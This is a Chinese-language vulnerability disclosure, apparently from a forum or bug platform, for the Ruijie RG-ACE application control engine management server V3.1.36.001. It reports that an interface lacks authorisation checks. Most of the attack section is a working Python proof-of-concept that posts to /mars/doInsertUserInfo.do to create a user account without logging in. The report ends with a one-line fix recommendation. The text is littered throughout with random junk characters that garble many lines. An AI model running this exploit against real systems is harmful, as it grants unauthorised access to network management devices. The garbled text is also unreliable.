锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)8 O# z8 m. t$ V! T
0 V. L' O4 ^: u- o- v
- ]" z4 K. y6 Z5 i- u, G, R
测试的具体版本是+ J' u; Z+ z+ M% G9 Z
产品名称: 锐捷应用控制引擎8 r% j2 L% L- n+ F0 c' {. ~ _
版本号: 3.1.36.001 TC
& C4 F _4 J6 X& o; p, \编译时间: 201104291730! g* a, X" r \9 O) j% ]
; g" J T$ \1 H
- ~2 `5 H! J+ M6 D/ E# z, _漏洞证明:
$ r! }2 }) _' [5 d# p
! X+ r6 z* @; c# h s8 E8 l* K; L! u4 x6 x! U: {
* R; l+ {$ k9 A: k4 M
& X1 Z1 W, \* _" {8 y' X
+ i( L; ]; T. @- W
u0 R* q; z- f3 S& G执行脚本4 D9 a/ H( U8 L. C9 F5 B3 o
#! /usr/bin/env python
% S7 ~8 q, B0 f#coding=gbk" T' X+ Q+ e: u9 C
#RG-ACE管理服务器 V3.1.36.001
9 m. f K" f4 f# ]# @% Z' Z% simport urllib2, urllib,cookielib
/ v# X9 I# O# s5 ]/ q5 n- G& q6 S/ durl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
9 E5 Y' c1 p$ G" eopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))% [/ R/ ]' t$ _9 d2 |( C
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]8 A; I# O+ }4 ~/ h- i1 {% x/ ^
post=(("event","userManager.doInsertUserInfo"),
+ A# S2 z8 O. R6 z("useractionname","addButtonValue"),
5 i* e( n7 W7 ?( H("useropermanager","userManager"),
0 Q8 _$ O" s/ L' u4 U- Y("userName","t"), #######账号自己加
9 p6 w) U6 s& f& v) O("pwd","aaaaaa"),######密码自己加
2 _8 P( [5 E! h: }1 E y("trueName","ad"),- X9 W& n* n% z5 L" `' _8 }$ s
("email",""),& L7 d# _5 S9 Q5 T* y% z
("mobilePhone",""),7 _$ V; J9 K f' a; r3 {# Z
("officePhone",""), p- l3 T9 q" `0 B8 W2 l
("addr",""),
/ {& N3 o! v0 N: a5 F" k# Q("submit","确定"))7 ` @* F% Y1 y: j B3 G
urllib2.install_opener(opener)
+ G) X5 m2 A& Q+ z7 s7 t- bp=urllib2.urlopen(url, urllib.urlencode(post)).read()
8 a- x( F5 k) m" F- M+ V4 Uprint "Done"( O3 ?' I7 u4 C0 } N, H$ a
) J8 Y- ~1 F3 ]/ E8 O# l& G
登录,连接设备6 b5 D0 _; l9 A% y
3 n) M+ D, u+ r
( D! n5 D R* \4 N" K" H
5 U+ g6 q4 Y: G5 g4 G/ j% ?( X
0 Q$ ?3 P, ?) f% Z3 _* f8 \0 ?! Q默认的管理员admin权限更大点- s0 {, ~$ Y8 g3 W
B1 t2 @& C0 t h( ` Z3 o+ Z/ ]( v7 `- z& u
( ~' V) r: }7 x - _9 A" D+ t3 J6 A4 i* Y# J2 Q
. |% [$ C" J) o( |& e y
修复方案:
1 a0 ~* h# v3 C8 b- J加强对接口的权限验证
8 v0 |$ Y J! ^. B0 S& g4 c
9 a/ @$ `, h( h: n$ G |